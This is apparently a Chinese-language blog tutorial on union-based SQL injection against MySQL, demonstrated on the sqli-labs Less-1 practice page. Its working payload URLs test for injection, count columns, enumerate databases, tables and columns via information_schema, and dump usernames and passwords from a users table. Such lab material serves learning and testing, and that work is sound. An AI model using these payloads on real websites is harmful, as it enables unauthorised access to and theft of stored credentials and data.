本文章主要记录MySQL数据库的SQL注入的联合查询注入一些总结
Feature
什么是联合查询?联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNION ALL。
联合查询注入条件
联合查询注入需要在页面上有占位
什么是占位?
比如,一个新闻,红框框中的都是从数据库取出数据显示在页面上的,每一个红框框都是一个占位。
联合查询注入步骤判断是否有注入
判断是数字型注入还是字符型注入
猜测查询列数
寻找占位
获取所有数据库名
获取指定数据的所有表名
获取指定数据库的指定数据表的所有字段名
获取指定数据库的指定数据表的所有的内容
联合查询注入
判断是否有注入
输入单引号进行测试,发现SQL语句报错,可能存在注入
判断是数字型注入还是字符型注入
http://sqli.io/Less-1/index.php?id=1' and 1=1--+
http://sqli.io/Less-1/index.php?id=1' and 1=2--+
通过判断页面返回正常和错误,可发现是 字符型注入
猜测查询列数
使用 order by 语句猜测查询列数
http://sqli.io/Less-1/index.php?id=1' order by 10--+
先猜测10列,发现不存在10列
http://sqli.io/Less-1/index.php?id=1' order by 3--+
列数为3时,页面返回正常,说明是列数为3
寻找占位
使用联合查询 union select 语句寻找占位
发现页面上并没有显示 1,2,3 占位
发现输入一个不存在的id值,然后再进行联合查询,页面上出现了占位
是因为第一个查询的值已经展示到页面上,让第一个查询出错没有值,后面查询的值替换这个位置即可看到占位的位置
获取所有数据库名
http://sqli.io/Less-1/index.php?id=-1' union select 1,group_concat(SCHEMA_NAME),3 from information_schema.SCHEMATA--+
将占位2的位置替换成SQL语句查询,可以将所有数据库的名称列出来
获取指定数据的所有表名
http://sqli.io/Less-1/index.php?id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security'--+
获取指定数据库的指定数据表的所有字段名
http://sqli.io/Less-1/index.php?id=-1' union select 1,group_concat(COLUMN_NAME),3 from information_schema.COLUMNS where TABLE_SCHEMA='security'--+
获取指定数据库的指定数据表的所有的内容
http://sqli.io/Less-1/index.php?id=-1' union select 1,group_concat(id,username,password),3 from security.users--+